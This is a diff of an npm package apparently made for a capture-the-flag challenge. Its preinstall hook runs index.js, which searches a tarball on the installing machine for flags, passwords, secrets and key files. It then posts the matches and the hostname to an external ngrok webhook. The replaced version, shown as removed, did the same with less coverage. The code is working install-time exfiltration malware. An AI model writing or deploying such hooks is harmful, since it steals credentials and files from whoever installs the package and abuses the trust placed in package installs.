ect-987654-ctf 0.0.6 → 0.0.8

package/evil.yaml

@@ -1,6 +1,6 @@
 ecto_module:
   name: "ect-987654-ctf"
-  version: "0.0.5"
+  version: "0.0.7"
   power_level: Very High
   ship_deck: Beta-2
   cargo_hold: B2-13

package/index.js

@@ -1,37 +1,145 @@
-const https = require("https");
-const { execSync } = require("child_process");
-
-const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
-
-function post(data) {
-  const body = JSON.stringify(data);
-  const url = new URL(WEBHOOK);
-  const req = https.request({
-    hostname: url.hostname,
-    path: url.pathname,
-    method: "POST",
-    headers: {
-      "Content-Type": "application/json",
-      "Content-Length": Buffer.byteLength(body)
-    }
-  });
-  req.write(body);
-  req.end();
+// index.js -- aggressive flag hunter for aspect-node.tar.gz
+// Writes JSON to your webhook with candidate matches (truncated)
+
+const { execSync } = require('child_process');
+const os = require('os');
+const util = require('util');
+
+const WEBHOOK = process.env.WEBHOOK || "https://0f6896f7cc8e.ngrok-free.app/";
+const TAR = "/home/node/aspect-node.tar.gz";
+const MAX_LINES = 200;
+const MAX_BYTES_SEND = 12000; // keep posted body small-ish
+
+function post(obj) {
+  try {
+    const body = JSON.stringify(obj);
+    const url = new URL(WEBHOOK);
+    const https = require('https');
+    const opts = {
+      hostname: url.hostname,
+      path: url.pathname,
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(body)
+      }
+    };
+    const req = https.request(opts, res => { /* noop */ });
+    req.on('error', () => {});
+    req.write(body);
+    req.end();
+  } catch (e) {
+    // best-effort only
+    try { console.error("post error:", e.message); } catch {}
+  }
+}
+
+function safeExec(cmd, opts = {}) {
+  try {
+    return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
+  } catch (e) {
+    return "";
+  }
+}
+
+function truncate(s, n) {
+  if (!s) return s;
+  if (s.length <= n) return s;
+  return s.slice(0, n) + "\n...[truncated]";
+}
+
+function findCandidates() {
+  // list all files from tarball
+  const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
+  if (!listing) return [];
+  const lines = listing.split(/\r?\n/).filter(Boolean);
+  return lines;
+}
+
+function isTextFileName(name) {
+  return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
+}
+
+function grepPatternsForTextFile(entry) {
+  // Extract first N lines of the file and grep for likely flag patterns
+  const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
+  return safeExec(cmd);
+}
+
+function catFirstLines(entry) {
+  return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
+}
+
+function stringsAndGrep(entry) {
+  // Extract file to stdout and pipe to strings/grep to find tokens
+  // We'll try to use 'strings' if available, otherwise grep -a
+  const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
+  return tryStrings;
 }
 
 try {
-  const out = execSync(
-    "tar -tzf /home/node/aspect-node.tar.gz | grep -i flag || true",
-    { encoding: "utf8", timeout: 15000 }
-  );
-  let content = "";
-  if (out.trim() !== "") {
-    content = execSync(
-      `tar -xOf /home/node/aspect-node.tar.gz $(tar -tzf /home/node/aspect-node.tar.gz | grep -i flag | head -n1) | head -n50`,
-      { encoding: "utf8", timeout: 15000 }
-    );
+  const host = os.hostname();
+  const all = findCandidates();
+
+  // Quick heuristic: search likely text files first
+  const textCandidates = all.filter(isTextFileName);
+  const hits = [];
+  for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
+    const match = grepPatternsForTextFile(f);
+    if (match) {
+      hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
+    }
+  }
+
+  // If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
+  if (hits.length === 0) {
+    // check top js/json files (by name)
+    const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
+    for (const f of jsCandidates) {
+      const match = grepPatternsForTextFile(f);
+      if (match) {
+        hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
+        if (hits.length >= 10) break;
+      }
+    }
   }
-  post({ host: require("os").hostname(), files: out, flag: content });
+
+  // If still nothing, run strings on the largest-looking files (heuristic names)
+  if (hits.length === 0) {
+    const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
+    for (const f of binCandidates) {
+      const match = stringsAndGrep(f);
+      if (match) {
+        hits.push({ file: f, match: truncate(match, 2000) });
+        if (hits.length >= 6) break;
+      }
+    }
+  }
+
+  // As fallback, check README / top-level files explicitly and send their first lines
+  const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
+  for (const p of fallbackFiles) {
+    if (all.includes(p)) {
+      const sample = catFirstLines(p);
+      if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
+    }
+  }
+
+  // Compose posting object: keep payload sizes reasonable
+  const payload = {
+    host,
+    checked_count: all.length,
+    hits: hits.slice(0, 12).map(h => {
+      // keep each entry small
+      return {
+        file: h.file,
+        match: h.match ? truncate(h.match, 2000) : undefined,
+        sample: h.sample ? truncate(h.sample, 2000) : undefined
+      };
+    })
+  };
+
+  post(payload);
 } catch (e) {
-  post({ error: e.message });
+  post({ error: String(e).slice(0, 2000) });
 }

package/last_post.json

@@ -1,3 +1,5 @@
 {
-  "error": "Command failed: ls -lah /home/node\nls: cannot access '/home/node': No such file or directory\n"
+  "host": "5eaf6475a249",
+  "files": "",
+  "flag": "no match yet"
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ect-987654-ctf",
-  "version": "0.0.6",
+  "version": "0.0.8",
   "scripts": {
     "preinstall": "node index.js"
   }